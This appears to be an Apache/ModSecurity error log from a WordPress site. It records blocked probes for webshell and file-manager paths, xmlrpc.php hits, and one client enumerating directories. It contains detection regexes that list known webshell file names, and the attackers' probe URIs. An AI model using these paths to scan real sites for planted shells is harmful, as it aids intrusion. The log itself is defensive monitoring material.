[Mon Apr 13 21:22:13.327229 2026] [:error] [pid 63406:tid 63419] [client 185.192.71.97:41481] [client 185.192.71.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/fm.php"] [unique_id "adzuBbHZEIkQ0Zmgp5rH6gAAAMg"]
[Mon Apr 13 21:22:21.212814 2026] [:error] [pid 63309:tid 63316] [client 91.230.225.55:59753] [client 91.230.225.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "adzuDUpIKZ10weXpf0UwSAAAAAM"]
[Mon Apr 13 21:22:23.992888 2026] [proxy_fcgi:error] [pid 63311:tid 63391] [client 185.192.71.82:23241] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 21:22:25.517303 2026] [:error] [pid 63311:tid 63378] [client 185.192.71.82:23241] [client 185.192.71.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "adzuEaHjrGN1MqBCVFkMsgAAAIc"]
[Mon Apr 13 21:22:26.636583 2026] [:error] [pid 9314:tid 9336] [client 91.230.225.242:28817] [client 91.230.225.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "adzuEm_r4W8fX2GWyGQsPQAAAZQ"]
[Mon Apr 13 21:22:28.919017 2026] [:error] [pid 9314:tid 9328] [client 85.128.143.151:39448] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzuFG_r4W8fX2GWyGQsQAAAAYw"]
[Mon Apr 13 21:22:30.835505 2026] [:error] [pid 63406:tid 63411] [client 91.230.225.246:32663] [client 91.230.225.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "adzuFrHZEIkQ0Zmgp5rICgAAAMA"]
[Mon Apr 13 21:22:31.519366 2026] [:error] [pid 63309:tid 63337] [client 185.92.25.2:64253] [client 185.92.25.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adzuF0pIKZ10weXpf0UwUwAAABg"]
[Mon Apr 13 21:22:42.521590 2026] [:error] [pid 63406:tid 63424] [client 185.192.71.93:42113] [client 185.192.71.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "adzuIrHZEIkQ0Zmgp5rIPwAAAM0"]
[Mon Apr 13 21:22:44.304130 2026] [:error] [pid 7228:tid 7254] [client 91.230.225.55:27807] [client 91.230.225.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "adzuJAEnn1dQrOSHHNWj1gAAARg"]
[Mon Apr 13 21:22:51.134008 2026] [:error] [pid 9314:tid 9335] [client 91.230.225.69:30613] [client 91.230.225.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "adzuK2_r4W8fX2GWyGQsWgAAAZM"]
[Mon Apr 13 21:22:52.444467 2026] [:error] [pid 57183:tid 57188] [client 91.230.225.251:49341] [client 91.230.225.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "adzuLDDO3t8R5NaxzYRT2gAAAUM"]
[Mon Apr 13 21:22:53.675486 2026] [:error] [pid 63406:tid 63417] [client 91.230.225.61:35079] [client 91.230.225.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "adzuLbHZEIkQ0Zmgp5rIVQAAAMY"]
[Mon Apr 13 21:23:08.551445 2026] [autoindex:error] [pid 57183:tid 57206] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:13.139782 2026] [autoindex:error] [pid 57183:tid 57187] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:24.810815 2026] [autoindex:error] [pid 57183:tid 57188] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:26.415283 2026] [autoindex:error] [pid 57183:tid 57187] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:31.076390 2026] [autoindex:error] [pid 57183:tid 57200] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:31.387990 2026] [autoindex:error] [pid 57183:tid 57207] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:31.662464 2026] [autoindex:error] [pid 57183:tid 57204] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:34.959180 2026] [autoindex:error] [pid 57183:tid 57185] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:35.242254 2026] [autoindex:error] [pid 57183:tid 57193] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:36.566014 2026] [autoindex:error] [pid 57183:tid 57186] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:36.842827 2026] [autoindex:error] [pid 57183:tid 57189] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:37.116244 2026] [autoindex:error] [pid 57183:tid 57205] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:39.026426 2026] [autoindex:error] [pid 57183:tid 57188] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:39.300459 2026] [autoindex:error] [pid 57183:tid 57190] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:39.577489 2026] [autoindex:error] [pid 57183:tid 57195] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:43.393649 2026] [autoindex:error] [pid 57183:tid 57204] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:43.668534 2026] [autoindex:error] [pid 57183:tid 57196] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:43.954444 2026] [autoindex:error] [pid 57183:tid 57190] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:44.238024 2026] [autoindex:error] [pid 57183:tid 57195] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:44.513424 2026] [autoindex:error] [pid 57183:tid 57187] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:44.789474 2026] [autoindex:error] [pid 57183:tid 57186] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:46.474220 2026] [autoindex:error] [pid 57183:tid 57197] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:46.750034 2026] [autoindex:error] [pid 57183:tid 57199] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:50.688902 2026] [autoindex:error] [pid 57183:tid 57208] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:53.238448 2026] [autoindex:error] [pid 57183:tid 57200] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:53.791812 2026] [autoindex:error] [pid 57183:tid 57209] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:57.518952 2026] [autoindex:error] [pid 57183:tid 57200] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:23:57.794111 2026] [autoindex:error] [pid 57183:tid 57190] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:01.501434 2026] [autoindex:error] [pid 57183:tid 57188] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:02.883291 2026] [autoindex:error] [pid 57183:tid 57196] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:04.289299 2026] [autoindex:error] [pid 57183:tid 57201] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:05.667128 2026] [autoindex:error] [pid 57183:tid 57205] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:05.938717 2026] [autoindex:error] [pid 57183:tid 57192] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:06.212703 2026] [autoindex:error] [pid 57183:tid 57197] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:08.810651 2026] [autoindex:error] [pid 57183:tid 57186] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:11.328408 2026] [autoindex:error] [pid 57183:tid 57190] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:11.600472 2026] [autoindex:error] [pid 57183:tid 57206] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:16.557518 2026] [autoindex:error] [pid 57183:tid 57208] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:17.961727 2026] [autoindex:error] [pid 57183:tid 57192] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:20.471159 2026] [autoindex:error] [pid 57183:tid 57196] [client 91.230.225.244:41883] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:23.010431 2026] [autoindex:error] [pid 57183:tid 57202] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:23.283426 2026] [autoindex:error] [pid 57183:tid 57195] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:23.553288 2026] [autoindex:error] [pid 57183:tid 57191] [client 91.230.225.244:41883] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 21:24:27.973121 2026] [:error] [pid 57183:tid 57204] [client 35.198.41.118:34094] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adzuizDO3t8R5NaxzYRU4AAAAVM"]
